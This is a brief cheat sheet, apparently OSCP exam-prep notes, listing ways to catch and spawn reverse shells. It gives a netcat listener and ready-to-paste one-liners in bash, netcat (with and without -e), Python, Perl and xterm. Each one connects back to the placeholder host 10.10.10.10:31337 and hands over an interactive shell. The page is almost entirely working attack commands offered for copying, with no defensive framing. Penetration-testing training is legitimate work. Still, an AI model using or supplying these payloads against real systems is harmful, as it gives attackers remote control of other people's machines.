Reverse Shells

Catching Reverse Shells

  • Because metasploit usage is limited in the OSCP exam, we will stick to basic NetCat receivers
1
nc -nvlp 31337
Copied!

Using Tools Present

  • Bash
1
bash -i >& /dev/tcp/10.10.10.10/31337 0>&1
Copied!
  • Netcat without -e flag
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 31337 >/tmp/f
Copied!
  • Netcat with -e flag
1
nc -e /bin/bash 10.10.10.10 31337
Copied!
  • Python
1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",31337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Copied!
  • Perl
1
perl -e 'use Socket;$i="10.10.10.10";$p=31337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Copied!
  • Xterm
1
#On target system
2
xterm -display 10.10.10.10:1
3
​
4
#On Kali
5
Xnest :1
6
xhost +<targetip>
Copied!
Last modified 1yr ago